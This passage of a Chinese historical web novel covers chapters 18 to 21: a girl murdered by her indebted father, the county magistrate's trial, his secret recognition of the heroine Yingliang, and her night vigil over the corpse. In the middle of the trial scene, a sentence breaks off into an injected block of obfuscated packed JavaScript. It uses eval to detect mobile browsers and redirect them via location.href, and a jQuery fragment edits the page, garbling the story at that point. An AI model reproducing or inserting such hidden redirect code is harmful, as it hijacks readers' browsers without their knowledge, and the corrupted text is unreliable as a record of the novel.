粗率整了整发髻，应怜信步至堂前，见宗契与度尘爹一高一矮，默不吭声屋外而立，有心问一句，又忖这是他自家事，外人不好多嘴多舌，心有所惑，便不自觉往左室窥了一眼。 秸秆的草门遮得住什么？虽榻上瞧不清，近处那小桌上，她瞧得分明，是度尘带来的包袱，将散未散，里头揣着糟糟乱乱的几团，还有一丝半缕的罗裙、领缘半拖在外，好像正匆匆忙忙拾掇到一半，又一股脑塞了进去。 这一眼，捆缚的咒一般，便止住她迈了一半正要向外跨的腿。 当日收拾包袱，她还因不齐整，被度尘嫌弃。度尘爱齐整，便再折腾困累，哪有收拾了一半又塞回去，莫名倒床便睡的道理？ “换了衣裳便走！”屋主人颇恼于她无礼的探视。 宗契也看着她，以眼神询问：怎么了？ 不止是他，连着篱笆、马匹，及更远的田陌山峦，都渐渐失了颜色，手脚也跟着冰凉了下去。 度尘的爹过来推她，想将她推搡出门，眼里一点凶性未灭，又十分的惧怖，仿佛他们多留一刻便要带来灾祸似的，“走走走！” 应怜攀着门框不动，扭头死盯住左室，指节攥得发白，在宗契抬手护住她、格开那人的当口，唤道：“度尘！” 无人应答。 “度尘！”她又叫，更大声些，总不信一个大活人，能睡死到黑白不知的地步。 那干巴的汉子却恼了，“再不走，我、我、我要……” “你要如何？”宗契上前一步，横眉冷对，犹如风雨欲来，“我瞧你有古怪，怕不是里头藏了见不得人的事！” 这一句却点在人腰窝上，那人脸胀得发紫，忽又白下去，哆哆嗦嗦地抖，张着嘴说不出话来，见应怜顿足要往里冲，陡然却爆出一鼓横劲儿，死死挡住去路，又抱定宗契的手臂不放，看样子若他敢再往里一步，咬也要将人咬死在跟前。 到如此地步，还有什么不明了。 应怜一脚还没踏出去，却又瞥见一道影儿，孤零零、急匆匆，转过院墙，挺着肚子，汗涔涔的脸面枯败，直了眼往里闯。 “你回来作甚！”度尘爹怒喝。 她娘恍若无闻，眼里涸着灰败的瞳，扒拉开纷争的几人，直愣愣入内。几人一个没拉住，任她像片秋风里打旋儿的枯叶，跌跌撞撞地扑了去。 擦身冲过时，应怜听她嘴里念叨的是：二娘、二娘、二娘。 她大着肚子，身子却干瘦得不比应怜好多少，枯爪似的手一把掀开絮了干扁稻草的葛被，去寻她的二娘。 酸败的桐油味里浓厚，兀地却刺出一声惨叫。 宗契身形最快，已冲过去接住了她瘫软的身子。 应怜不知自己是怎样摇摇颤颤地过去的，只听耳边那个失心疯一样的声音絮叨个没完，“不是教你去娘家借鸡子么？不是教你去娘家借鸡子么……” 那草絮的破被掀着，里头脸朝内躺着度尘，脸色青紫发黑，眼凸于外，惨状可怖。应怜叫也叫不出来，脚一软，跌在地上，回身却见那妇人也瘫着，捂着肚子，浑身抖如筛糠。宗契将她搭起身，内屋里却寻不到个凳墩，唯有那张死了人的土榻。 她起身时，应怜瞧得清楚，滴滴答答、晕开一片在身下，渗进泥里。 再一瞥眼，见她男人跌摸滚爬地到得外头，也不知是嚎是哭，“来人！快来人——” 19.第 19 章 度尘或许不知，她死时，与她一母同胞的孩儿便早来了。 应怜陪着她的尸身，亲历了一场混乱。 先是叫乡人、叫稳婆、叫里正、叫县尉，慌慌张张地涌来了一大群。擦洗的擦洗、验尸的验尸、拿人的拿人，进进出出；又围了多少看稀奇的在外头，指指点点，说七道八。 应怜与宗契为干证人，拦着不教走，却也被赶到外头，不许见人分娩，便只听里头哭喊痛吟，嘈嘈杂杂的也辨不出谁是谁。 里正进城报官，一来一回，直到午后，才带了衙役仵作到，又是问话又是录尸格；半晌里头又开了门来，教找催生丹、催生符，稳婆两手缝里满是血，汗糊得眼都睁不开，说是不好，横生倒产，还不知能活几个。 催去的上命已至，淹留不得，那男人死死跪伏在县尉脚边，哀求再等一时半刻，只教他得了产子的消息，便跟着去。县尉踟蹰半晌，却有里正附耳告了几句，便陡然翻了脸。 “不过是个不孝不仁不义的牧猪奴，带走带走！”县尉将他视作无赖，挥挥手使人强行捆了，解去听凭县宰发落。 应怜二人自然也得跟去。只她是个女娘，五十里路不好走，便征了辆驴车，由几个衙役后行带着，迟了大半个时辰才到。 牙道碎石坎坎，车轱辘跟着晃颠。她枯坐于窄硬的木垫上，累得很了，不知不觉，头抵着车壁角落，睡了过去。 一晌彷如魂归故里。她听得人争执，于明亮的阶下踌躇不前，里头传来兄长应栖与爹因着议论不同而爆发的争锋相对。 “竖子！你懂得什么？那妖党媚言惑主，借新法之机，行贪敛之实！” “新法固然未至善，但总好过泥古拘方，坐守山河日下！” 她在外头，捧着一匣乌金墨，进或不进，手足无措。忽而环佩轻笑，却来了个冶冶柳条似的沙弥尼，指着她道：“你爹要的墨，你为何还不送去？” 她如见救星，忙道：“度尘，你来得正好，这是你家的墨，你去送吧！” “我家再没墨了，”那沙弥尼却倏尔变了脸色，如晴日骤晦，“自你爹写下那篇《先行夺民利说》，便再无人买我家的墨。我爹不得已卖了我，偿欠下的债，你如今却还要如何？” 晦日风尘起，她家的苑池、台榭一霎俱无，万般三春美景也散在飞沙走石里。应怜心中只如裂了一般疼，满眼琉璃碎、彩云消，落下泪来，“我爹已没了！我家、我母亲、我哥哥……俱已没了，连我此身也充了籍，我还能如何？” “你还有命在，”度尘凑上前来，咯咯地笑，眸中尽是怨毒，“若不是你，到如今我仍在莲台寺活得好好的。你与你爹一样，都是个搅祸精。拿命来偿吧——” 她伸出手来，看着就要来掐她。 应怜经此一吓，猛地吓醒，却骤见牛车的帘子不知何时已掀起，有人正轻拍了她一下，是宗契。 “我们到了。”他道。 晃悠悠如三魂七魄归位，她怔了半晌，这才下得车来，早见衙皂在外等候，催促入内。宗契见她脸色不好，宽解道：“再撑过一刻，待过了堂，便能歇息了。” 她勉强点头，仍有些魂不守舍，心里头觉着悲哀，却钝钝的，好似一颗心被冻僵隔绝在冰里，触不到喜怒哀乐，唯有麻木的冰冷。 按规制，知县早晚坐衙，晚衙在申时。然牵涉人命，耽误不得，故月已至梢头，吴知县仍绿袍常服，束冠齐整，坐衙听事。 衙署公堂设在笔直的丹墀尽头。应怜与宗契由衙皂带着，绕过饕餮吞日的白石照壁，从戒石碑而起，步上丹墀，来到一溜青瓦灰墙下，门口杈子已搬在一旁，从堂上至院中，铺开两排八名衙皂，并两名革带箭服的弓手一旁肃立。 吴览居正中，“明镜高悬”匾下，肃静告牌架于两侧；下首主簿长案，挥毫点墨；堂下方正青砖间，跪着颓唐慌惧的汉子，低伏在地。 皂隶进前，向知县耳语几句，领了台旨，便唤应怜二人上堂。 因是干证人，只立不跪，礼毕，二人各报了名，讲述事情原委。 原也无甚曲折，人证是他二人；衙役又从那屋里搜出了害命的绳索，满是灰黑的油星点子，取作物证，呈覆堂上。 “陈大，你还有何话说？”知县问讯。 陈大已供过一遍，此时望见宗契，不知哪根筋岔错，忽地攀咬起来，没头没尾，指着叫道：“是他、是他杀了我儿！” 众人面面相觑。 吴览因暗失珠宝一事，不好明查细访，吞声忍气，连日来胸中郁郁，乍听这样无赖言辞，一股子火气便憋不住，吩咐左右，“令他显出手臂，验看有无伤口。” 因是入了夜，并无闲人听堂，因此连一丝儿议论声也无。有衙皂来撸起陈大两袖，果见抓痕累累，新伤血痕尚在；又嘱意仵作，仵作会意，呈尸格念道：“死人甲缝脏污，剔下桐油渣滓少许、皮屑血末少许，自身无伤痕，推系出于陈大。” 板上钉钉的事，他攀咬也无益，枉自罪加一等，只得招认下来。 主簿正记着，陈大却又道，并非故杀。是过失杀人，且根由在此女出言顶撞，犯了教令。 本朝律例，子孙犯了长辈教令的，父母、祖父母若过失杀人，不论惩处。 若按陈大所言，这场官司，他竟不用受一点罚。 “阿陈如何顶撞于你，细细讲来。”知县道。 陈大如搂定一根救命稻草，语无伦次答对：“她不从父命！我教她把钱与我，她不仅不听，还出言不逊，说我、说我狗改不了吃屎！辱我是牧猪奴……我已改了、我已改了！我再不赌了，只还欠了钱，待一还了，浑家再产一儿，我们便离了这处，我凭制墨的手艺，何愁不能再攒家业！” 他说得颠三倒四，但主簿条分缕析，与他道来：“阿陈自莲台寺还俗，携了财物归家；陈大令交出钱财，阿陈不肯，反诟骂陈大。故陈大情急过激，过失杀人。可依此言？” 陈大眼中瞪出血丝，点头如啄米。 应怜浑身沁冷，手脚俱颤，竟顾不得喧闹公堂，“你说谎！你是存了心要杀她！” 知县将惊堂木一拍，“堂下阿柳，有何话对？” 众目睽睽，到此时，应怜反镇静下来。 她年幼时，父亲曾任过几年州府官，将她带在任上。角落里窥探堂审，于她而言是家常便饭。那些敛容端坐、或衣青或衣绯的官人们，在她眼里，倒不如堂下哭闹詈骂的百样人可怕。 她飞快地将连日来的事由梳理过脑，力求不漏一丝一缕。 “度……二娘一回家，你便支走了内人，是也不是？”她正对陈大。 陈大道：“我教她去娘家借几个鸡子，来与二娘补身子也不成？” 应怜反问：“大娘子身子沉重，要借鸡子，你为何自不去借，非得劳她一个有孕的妇人走动？” 吴览见她二人质对，并不说话，只静静听着。 早有人点了灯烛，廊下堂上，俱是一片通明澄澈，她的侧脸映在灯火里，与往常柔和迥异，竟也照出了些犀利棱角。 “我与岳家素来不合，教她去借，有甚不可？”陈大恨道。 “此且其一。”应怜冷笑，看那无赖眉眼可憎，“二娘伶俐，寻个空子逃了寺去并不难，她之所以久留那腌臜之地，为的是多攒银钱。她早就明了，你定恶习不改，她拿了钱到家，为的就是替你还债。你却说她不把钱与你，其中定然隐匿了实情……我问你，你那几个儿女呢？” 陈大不答。里正从旁插话，“他家五个儿女，大娘早嫁了的。三娘前年发卖了，行四行五都是小子，也卖与豪户，换下钱财了。” 妇人才三年生两个，他就能一年卖一个，好大的志气。 宗契立于一旁，久便显出习武的飒劲儿来，遑论站多久，腰身不塌、筋骨不颓，松枫高崖似的挺拔。他这一处又能观遍一堂，不说话时，便定定瞧众人答对，那目光多又落在应怜身上，将她一颦一蹙、甚而指甲不自觉扣于手心的小动作都清楚看在眼里。 应怜思想的又是别的事。 【临堂问审，任他狡诈奸邪，不过以五计赚他供招——诈、激、恐、情、刑】 若不是后升了朝官，她爹确是想编录一册《官司案集》出来的。 而她也不过拾先人牙慧而已。 诈。 “她曾与我讲过，猜度你卖儿卖女，她便用这钱将她们赎出来。”应怜道，“果真一一应验。她不把你钱，为的是赎了弟妹，再一家团圆，哪里为不孝？你可知这钱她一文一文地攒是有多难？” 她鄙夷嫌憎的目光与别人的一起，厌恶地掷来，法理不论，情理却织成一丛荆棘，刺得陈大又羞又恼。 “赎出来？赎了作甚？我家贫至此，他们回来也是跟着受罪，我哪里喂得了这么多张嘴！” 激。 他大怒，应怜却仿若无闻，接道：“稚童幼女殷殷企盼，尚有阿姊来救。阿姊身陷狼窝，她可日日夜夜，盼了四年，却不见生养她的爹娘来赎！好，你们不救她，她自逃出魔爪，寻双亲团聚。她父却百般无耻，不愿她回！” 她一字一步，怒意填膺，到最后，以手指点陈大面门，几乎唾在他脸上。 陈大暴怒，“她就不该出逃！家门丑事，她逃回家来，旁人怎么谤议我！你算什么东西？一个贱.妇，也来指摘我！” 大抵对上弱者，他便横生了胆气，激怒之下要来打应怜。旁人不及反应，应怜身后抄来一人，四两拨千斤这么一推一拉，举拳反朝陈大砸去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|12530837|130924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知县这才又拍惊堂木，“斗殴公堂者，脊杖十！” 陈大痛嚎一声。宗契半边身子护着应怜，拳风扫了一半，恰到好处地收回来，“我没打。啧，踩着了，你瞧……” 说着收回脚。 陈大早龇牙咧嘴地躺着了。 应怜却将方才陈大之言细细思量了好几遍，只觉这话越是细想，越是令人心惊。 “官人，我有两件事不明，请官人做主勘断。”她转向堂上。 “讲来。” “一则，二娘之事，同村人究竟知晓几分？二则——”她顿了顿，垂下眼，不知心中百般陈杂的是何滋味，“这位陈阿公欠下几分赌债？抑或有其他？” 吴览见她陈情颇有条理，落落不似小家之女，点点头，看向左右，却见主簿悬笔寸毫，久不言语，猜想他是否思索行文，便又示意里正。 里正答对：“原是不知晓的，陈大往常只说，将二娘送去县里做女使了。我们也仅含糊省得。” “何样债务？”知县问。 里正又答：“年前春夏时节，常有人力来索债，道是赌坊、瓦子教来的；后他将家中小儿卖了抵债，他浑家又有了孕，便不与那等村赖来往了，也不见再来索债的。” 知县道：“如此说来，那便是从此改好，再无债累了？” 正到此处，却听主簿咳了一声。 里正退入人列。主簿道：“今年初，县里再颁先行钱，陈大领去二十贯，目今已偿七分。” 之所以称“再试”，便是从前试过一回，不了了之，如今却又施行了。 应怜瞧得不大真切，知县似乎在听闻“二十贯”后，略略皱了下眉。 她不大通钱务，但两处疑惑已理得分明，果如所料。 知县望定她，应怜诸般理顺，道：“事由始末已清楚明了。二娘曾与我言，四年前，陈阿公因滥赌，坏了名声，还不上先行钱，便暗自将二娘卖于莲台寺，对外只说是雇作女使；到而今，他又借了先行钱，唯恐二娘归家，他则被诟病‘逼女卖身’，怕教人知晓，故自见了二娘，便已生杀意，借口支开其母，杀人害命！” 陈大起先抱着脚乱嚎，而后一点点僵死，投来仇怨的目光，像淬了毒，又像惧了她，若不是衙皂守着，便要暴起生吞活啃了她。 至晚，夜火更明。衙署堂院外老树遒劲，于夜幕深沉中，涂抹下凌乱不祥的轮廓。两拨人前来通传，一报莲台寺一干女僧业已带至；二报陈家大娘子褥中难产、气血两亏，大小俱亡。 言至此，陈大陡然望将来，枯干瞪红的目眦勾住报信人，喉中“嗬嗬”有声，半晌如孤鬼嚎啕，“必不是、必不是——是你们诈我，她母子平安！她已产活了，我得回去……我得回去！放我回去！” 衙皂合力将他押跪于堂上，见他如个丧家的野狗，哀哀吐不出人言，满堂唏嘘。 陈大以头抢地，终至匍匐无声。应怜定定看着，心道如此畅快，却怎么好似被人掐着喘不上来气，天道甚公，却又极不公。 “你可知道，她有一颗珠子，价值无计？只这一颗，尽够还你的钱，还能赎出弟妹，你们携家带口迁离此地，重新过团圆日子，重新做制墨的技艺，再不必穷困潦倒。”她话音空冷，有一股自己也难解的冷淡，“她还有很多钱，足够养活你们一家子。然你愚蠢至极，把一切都毁了。” 陈大冲来要与她拼命，应怜向后一撤，便不教宗契动手，衙皂们早已七手八脚捆缚上来，将人捆了个结实。 心气已毁，再招供不过一时半刻的事。 应怜侧立于一旁，听堂上答对，恍惚却想起了别的心事。 原来先行钱停了几年，今年初又各地施行了。 真快啊。她爹前脚刚死，先行钱法后脚便雪片一般纷纷扬扬二度颁降。若换成从前，她必想不通其中关节，如今想来，是以她爹为首的景顺党人失了势，元祐党人已东山再起。 家中变故太过突然，她竟寻不到个人来问问，究竟是她家哪里犯了恶罪，只隐约听及谈起，说缘故是父兄助太子篡逆。 篡逆未必是真，恐怕根底在于党争而已。 怔怔地想着，忽瞥见几领再熟悉不过的灰白僧衣，应怜蓦地抬头，惊见几人鱼贯上堂，皆是莲台寺女僧，其中便有住持妙戒与监寺法持。 这几人不止是作此案的旁证，落得县署公堂，便要交待逼良为娼一截，非死也要去了半条命。 善因未必结善果，恶业果报了，便格外教人痛快。 只是她不曾想——连宗契也万没料到，法持呈覆了两件头面首饰，交堂前案上，指着宗契，道是他赠予那女乐的催妆之物。 眼见着端坐案前的吴知县，审视那簪环一晌，脸面渐渐难看了下去。 20.第 20 章 法持指宗契为盗，因的是与他同行之人是个流窜的盗匪，并言辞确凿，“他来时，还携了个大口袋，里头满满当当的尽是珠宝！” 问及名姓，莲台寺上下人等却只知姓赵，平常只唤作赵大官人，连名带字、乡籍何处、做何营生一并不知；待问宗契，也含糊其辞，称不知底细，只是萍水相逢。 吴览有心细究，却终忍了下来，唤来都头，低声吩咐几句，便将陈大、法持等人各自收监了，一应干证人也羁在衙署；匆匆歇堂，去到衙后宅院里寻妻秦氏。 院中漏刻已报戌时将过，鸦栖人静，廊下屋中，却有一笼灯火明悬。窗纸素洁，剪出一抹婉约绰影，正是等候丈夫安寝的秦氏。 秦氏等候了多半时辰，正抬了灯罩，剪那烧长了一截的灯芯，却见吴览入屋关门，因笑道：“官人回来了。” 她便来与他宽衣。吴览却摆手，“我特意歇了堂来找你，一刻后还要在后花厅升二堂。你可还记得年前洛京之事？” “如何却问起这个？”秦氏一怔，面色有些不大好看，“我怎有一刻忘了呢？女儿受了大辱，咱们险些家破人亡。若不是义士搭救，你我如今身在哪方都还不知呢。” 吴览眉间郁色浓重，说话时有片刻迟疑，“那日彩儿被他救下，带回他府上，交他家中女眷守了半日。我与你一道去接人，我只在后苑隔湖相对，瞧不真切；你却进前亲迎了的，可还记得那女娘的模样？” “怎不记得？”秦氏愈发糊涂，不解其意，“秋水为眸、顾盼神飞，与彩儿一般年纪。我还问了名姓的，单名一个‘怜’字，与她兄长应栖俱是神仙人物。只是……你问这作甚？” “我今日堂上见了一女，她与那应恩公眼眸轮廓，无一不肖似。只是比我当日桥上远望时，似乎更单薄些。”吴览道，“故稍时二堂，教你从帘隙中一窥，辨清是否真是她。” 秦氏神色大骇，慌得差点拂倒桌上茶盏，十足压低了声音：“你不是说，她、她……已死在狱中了么？” “我也正疑心。但想来咱们离京千里，托人打探的消息未必十分准确，她或又回转，改名换姓了也未可知。”吴览揉了揉眉心，望向灯下的夫人，眼眸里一晌映带出三分迷惘挣扎来，“此是其一。还有一件，令人难以抉择。” “是何事？”秦氏问。 他欲言又止，后才道：“先辨认那女子是否我们要寻之人，再做打算吧。” 秦氏也不多问，思量了片刻，点点头，“这两日收拾辎重，女使们劳心劳力，我让她们早睡了。官人二堂，我亲自端一瓯豆儿水来，若果真是那娘子，则豆儿水里添一颗白莲子，官人便晓得了。” 她心思细腻，吴览多有所感，便捏了捏她的手。二人相视一笑，二十年夫妻恩情，默契洽然。 临出门时，他又回过头来，半身入得黑黢的夜中，思虑后方道：“我初为官时，你诫我‘守心’二字。宦海无边，你我俱出寒门，难有出头之日，那三箱珠宝，是我头一回昧了良心。你怜我苦楚，天却不饶我，借盗匪之手，再诫我‘守心’。如今盗匪行踪初露眉目，却与施恩于我家之人颇有渊源，岂知不是苍天三诫？君子立于世，入歧途而知返，方不负这守心三诫。” 他便无需再问妇人，天清月明，忽觉几日来前所未有的轻松，长出了胸中一口浊气。 出得宅院，却又逢着独自踱步的主簿，像是一直守在院口等他一般，见了他，便上前搭话：“官人留步，陈大此案，我有话与官人谏言。” 吴览一顿，有些纳罕，但知主簿惯来精明周全，不在灯火通明处详谈，必然是不可向人之言。 果然，院墙幽深间，主簿开口便道：“此案切慎发落。官人转任在即，为今之计，应当上发至平江府尹勘断。” “历来只是要案、大案方行至州府。陈大杀女，并不在此列，为何要惊动府尹？”他皱眉。 “陈大杀女虽论轻，然根究起来，阿陈缘何被卖？陈大又为何杀女？二者皆与先行钱法有关。”主簿为他分析，“近些年来，朝廷党争日盛，地方官系也多受牵连。太子失势，晋王积势日重，元祐党人倚仗晋王青云直上，早已废行七八的新法复又颁行，正是如火如荼之际。官人虽治下清明，然根基尚浅，一旦涉入其中，为有心人臧否，便难以自拔。” 一番话，听得吴览冷汗披沥而下，越想越是。 “若非先生点醒，我犹为梦中人矣！”他激灵灵打了个颤，对着主簿一拜而下，竟也不论尊卑大小，“先生此言极是。此案确不是我可轻断。好在公堂只审未断，险些整个儿断送。” 主簿道：“方才堂上，我数次以目而视，官人却心不在此，只盯着……堂下人。” 他咳嗽了几声。 吴览知他误会了去，然事关家丑，又不好对他言讲，便只得道：“我晓得了。多谢先生提醒，稍时二堂，我若有不到之处，先生还要多提点。” 二人便又拜谢客气了几句，时候不早，一先一后，入了后花厅。 后花厅本是向来待客之所，作二堂并无惯例，不过临时撤去团桌、置上长案，两旁又将肃静牌立置。这一回问的是半公半私事，故只让衙皂院外等候，堂上唯有知县与主簿二人。 应怜在前头一间窄屋里候了一刻，与宗契两处羁留，彼此见不着面，因又想着度尘的尸首还搁置在公堂下，也不知如今收拾了没有。前头院里灯火一下，便空空寂寂，她孤身躺在泥土里，若还活着，也不知会不会跳起来骂人。 她两个出逃，如今只剩了一个，此后渺渺茫茫，也不知身向何处去。 方才堂上那股子愤懑的血勇已经跌落下去，此时再想，只让人觉得口干舌燥，一忽一忽的没底，先前与人争锋相对、口舌争快，这会子竟连回想起来都结结巴巴的。 这堂还未审完，说是要过二堂，想来那架势好不了，必要追究宗契偷盗一事。 思来想去没个计策，正烦恼间，来人提她去了。 一路上应怜绞尽脑汁回忆律统里所载的偷盗诸法，觉着宗契这个，可大可小，往大里说，断个绞刑也是应当的；但若要大事化小，拟合“不持杖、不得财”的条律，最轻便是徒二年，折脊杖十七，准归家去。 如此想来，便又生了惶恐。那珠宝是知县的私财，他追寻不得，哪肯罢休？便不说断决，恐怕裁断前，便要私刑追问底细。 就这么一路忐忑，入了后花厅的明处。 灯火燃烛，绽放光彩。应怜甫从暗处而来，一时有些不大适应，好一会儿，却见堂上堂下，共只三人，宗契、陈大等一应不见。 知县温声道：“莫怕，本官问你些事，你只从实讲来便可。” 说着，又问了一遍名姓、籍贯、家口等，只是详细了许多。应怜哪遇过这种阵仗，一时暗慌，强自压着自己镇静，一一回答。 姓柳，名惜，家住洛京东洛水桥上安众坊，世代以茶叶买卖为生，家中亲故已没；家业缘何败落，她并不太懂；贯来与李六娘、王四娘交好，只年前她们已出阁，再无往来云云。 索性这谎尚可圆和。知县问她茶经，又问点茶如何，这倒正是应怜拿手之处，一条条罗列上来，任谁也说不出个“不”字。 此时，正有一淡妆妇人从后屏风外转入，手捧着一琉璃浅棱瓯，奉在知县案前。她半侧着身子，眉眼鼻唇于灯下甚是温婉。应怜只觉有一丝面善，却见她低眉垂眼，奉了瓯盏，复又归去堂后，再未进前。 吴览轻啜一口豆儿水。 微甜微温，沁沁爽爽，一路由口入喉，由喉贯心，再抬眼时，他眉眼中已染上难辨的喟然光彩。 白莲子在琉璃瓯里浮浮沉沉，像极了他打听到应家命途时，起起伏伏的心情。 上苍仁慈，他家还有一脉尚存。 应怜仍在思索怎样将谎扯得更圆一些，生怕上头再问个三朋四旧，还要再拉扯什么“李六娘”、“王四娘”家住何方等等，正提着一颗心，忽听知县问：“你说那僧人是你的旧主，他待你如何？” “甚好。”她只以为接下来便要理会宗契的官司，心头一惊，便搜肠刮肚地为他说话，“他虽是化外之人，却有君子之风。我落难后，多蒙他倾囊解救，又尽心延医调治，钱财花了无数……” 而后一顿，惊觉自己说错了话，这句不当有。知县若问那许多钱财，由何而来；或既已花费如此多钱，这才生了贼盗之心，这可如何是好。 却不想知县笑了笑，点点头，又道：“你如此称赞他，想来他必定待你甚厚。” 应怜这才松了一口气，“他是个好人。得他搭救，是上苍垂怜于我。” 吴览一时没说话。 他蹉跎半生，只得彩儿一女，彩儿逢凶化吉，又何尝不是上苍垂怜于他。 罢了，恩情当用恩来报。他怎能因一己之私，用刑迫僧人吐口，恩将仇报？ 当下叫来衙皂，教领应怜下堂，格外吩咐在后宅院里寻一间宽便的屋子，照料一应起居。 他又嘱意应怜，“陈大或要被解至州府，听凭发落，届时你与宗契师父作干证人，也要一并前去平江府。我会关照解差，与你们便利。待得州府裁断了，你们便可自行离去。” 应怜有心想问宗契，却知不当问，便只得应下谢了，随 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“这有什么为难的，你等着。”衙皂得知县吩咐过好生侍应，爽快应下。 得来了纸笔，应怜磨好墨，待要写时，这才发觉，似乎也没什么尤其要紧的话要讲，不过问一问堂审如何、有无刁难，又教他宽心云云。 一半是已知晓的情况，一半是絮叨的废话。写了一纸，墨干时却越看越枯燥尴尬，她索性将这张揉了，又铺开一张，思量真个哪些想与他说的。 实在是写来无话，只不过一些闲谈，是想与他当面讲来，写在字里，终究浅了一点。 她便随心写下：想见师父，当面絮谈即可。 半晌忽觉，这话实在太过逾矩。应怜后知后觉过来，满面通红，草草将两行字划了，又揉成一团扔在一边。 衙皂在旁看了，咋舌道：“可见你从前过得是锦衣玉食样日子，恁好的细白纸，写一张揉一张！” “……” · 秦氏这几日只让人妥帖照应应怜处，自己坐于幕后，并不现身。 并非碍于身份，只是吃不准丈夫是什么态度。 衙皂回报，身契已放还了应怜。她点头且记下，待得将晚，与吴览用饭时，多问了一嘴，“既已明了她果真是应小娘子，为何不与她放籍？只交还身契，她也还是奴籍。” 吴览叹了声，放下碗筷，“我何尝不想？只是籍帐条例繁杂，地方上放籍，年末需得统归京中复核籍帐。一旦两者核对有误，查出作假，她便兜不住‘柳惜’的身份，要再往深里根究，翻出她家的罪来，我岂不害了她？” 秦氏默然，半晌也叹：“这两日我暗自观她，果真是个知礼淑静的孩子，可惜了遭此大难，人都瘦得不成样。官人，我们便要转任，我想着……” 她吞吞吐吐，便是有话说。 两人多年的默契，哪有不知彼此想说什么的。吴览略一皱眉，果然，听夫人言道： “我与你夫妻二十载，只是没出一子，甚是愧对你家。我想为你纳一妾，往常你总不让。如今这应娘子走投无路，来得恰好，不若我做主，替你纳了，一来保全她衣食无忧，偿报恩情；二来她若能为你开枝散叶，也好香火有继……” “慎言！”吴览截断她话头，恼道，“你怎好打这样主意？且不说她原身份那样金贵，怎堪与我做妾；你……唉，你也不想想，她家得罪的是什么人？你以为我不教你与她相认是什么心思？我至多也只能放还她身契，保全她一时，万不敢把她请入家来，开罪上头权臣！” 秦氏遭他一喝，心内百般滋味，自知失言，再吃不下饭去，只得默然无语。 两人相对无言。吴览也心内惨然，扪心自问，前两日还信誓旦旦，说要“守心”，如今恩人家女眷遭难，流落在他家门口，他却瞻前顾后，惧怕延祸，竟连相认也不敢。 “我晓得了，官人既然不愿，我再不提就是。”不知多久，秦氏再度开口，咽下三分委屈，“只是她家于我恩重如山，我既不能留她，便赠些财物与她傍身，也尽些答报。” 吴览点头。 两人又坐了一刻，说些无关紧要的话，秦氏便教女使看顾收拾，自行先离开。 日色浅薄，渐向深沉，今日本就浓云密布，也不知至晚下不下得雨来。秦氏回了内院，嘱咐门户关严实了，以备风雨，又去看了彩儿，说了会话，这才向自己房中来，先自睡了。 只是多少怅惘，都不堪与外人说道。怕只怕，被人笑话，妇人心思，既浅且薄。 21.第 21 章 应怜在衙署后宅院住了三日。 这日到了九月十七，上峰回函递至，准解送陈大至平江府，拟一干人等共赴府署。 得了回函，县衙里便忙碌起来。主簿俱备各条文书，并知县书信，盖了印，待后续呈覆知州。都头分派押送解差、命造枷锁镣铐，又得分出几个衙皂，携了干证人同行；俱完备了，再去知县处复禀。 本待十七日便要出发，吴知县又准了一日的宽限，令义庄发落度尘尸首。 若县库拨钱，只得一口薄棺。故应怜特请了知县准允，取回度尘生前珠衫两件，拆解金银玉宝，兑了一副大漆的柏木棺。 落葬地离村不远，只在一弯山环水抱处，历来埋的是十里八乡的邑人。 前日一座新坟刚起，正是产难的陈家大娘子的坟，便是村人合力为她发送了。然坟头土未阖，只因众人皆知，一晌便要再埋下度尘，教她娘俩得个团圆。 时间赶得紧，无暇停灵多日，不过在义庄明堂，陈了一夜，翌日清早，便要埋棺下葬。她家大姐早已嫁去了外地，人走楼空，信都递不去，便再没人了的，一应事便都落在应怜头上。 这夜乌云蔽月，义庄里向来吊着两只惨白灯笼，明堂两三盏灯烛，驱不散天庐地被油泼似的黑；厚重的柏木棺盖停靠在旁，度尘尸首初腐，泄了令人窒闷的臭气来，熏得人头晕脑胀。 ……与设想的愁云惨雾，痛彻心扉不大一样。 应怜就只得向度尘告个罪，挪了凳子到明堂的角落缩着。只那臭气萦萦绕绕、弯弯转转，无孔不入，她想躲到哪里都无济于事。 总不能真撤到院外，那还守什么灵。 臭气还不是最可怖的。 黄昏还好，一旦入夜，连守庄人都去睡了，她神思不稳，便容易胡想一些神鬼精灵，虚无缥缈地堆扎在灵堂，与黑紫肿胀的度尘一起，幽幽望着她守灵，实在令人两股战战。 就这么一时清醒一时悚怖，好容易挨到了夜半。 夜深人静，最易想些白日里没有的心思。 往常她只听人言“人死如灯灭”，一个大活人，死了便是没了；却从未深想过，真真正正的“死”，是个什么东西。 原来就算如度尘这样生时嬉笑怒骂、明眸善睐的鲜活，死后也不过一堆腐肉，一点一点，从里烂到外。说句大逆不道的，与死猪、死羊、死狗、死马，并无不同。 如此想着，便又有一种心思油然生出。 她细细摘除杂质，洗清那种感觉，恍然发觉，这般情绪，称作“不甘”。 不甘心啊，怎么能甘心。 那样青春正好，尚可活在世上大把年月，一年一岁地抛掷都不心疼；千般作为，只要心想志坚，便能有所为。 就算是尘芥杂草一般卑微，但只要活着，就还能向上爬，有再见天日的指望。 而一旦身死，所有企盼、念想一瞬成空，盖棺定论。若魂灵有感，怎能甘心。 她怔怔然想着，那腐臭钻入口鼻、贯入肺腑。沉闷之中，却仿佛凿开某处孔窍，一点明光乍现，又令她忆起青玉阁死未成、莲台寺对镜妆，原来她那时所思所想，正是一个字。 ——活。 然一念求活，从前于她而言，与落入罗网的野兽并无不同，俱是出自本能。 如今夜半漏残，鸦雀皆寂，她才更深地将这个“活”字想了下去。 活着做什么呢？ 她忽有所感，试着想象若是度尘活生生在眼前，她会如何说。 她必当回答：“自是替爹还了债，再寻回弟妹，大不了换个地方过活，待娘产了孩儿，再是一户好人家。” 若是自己呢？ 应怜思想了很久，不知不觉，那点惶恐惧怕竟在心头抹灭了，唯剩了一点堪称“痴心妄想”的心思。 她想，她总不要一辈子归奴籍。 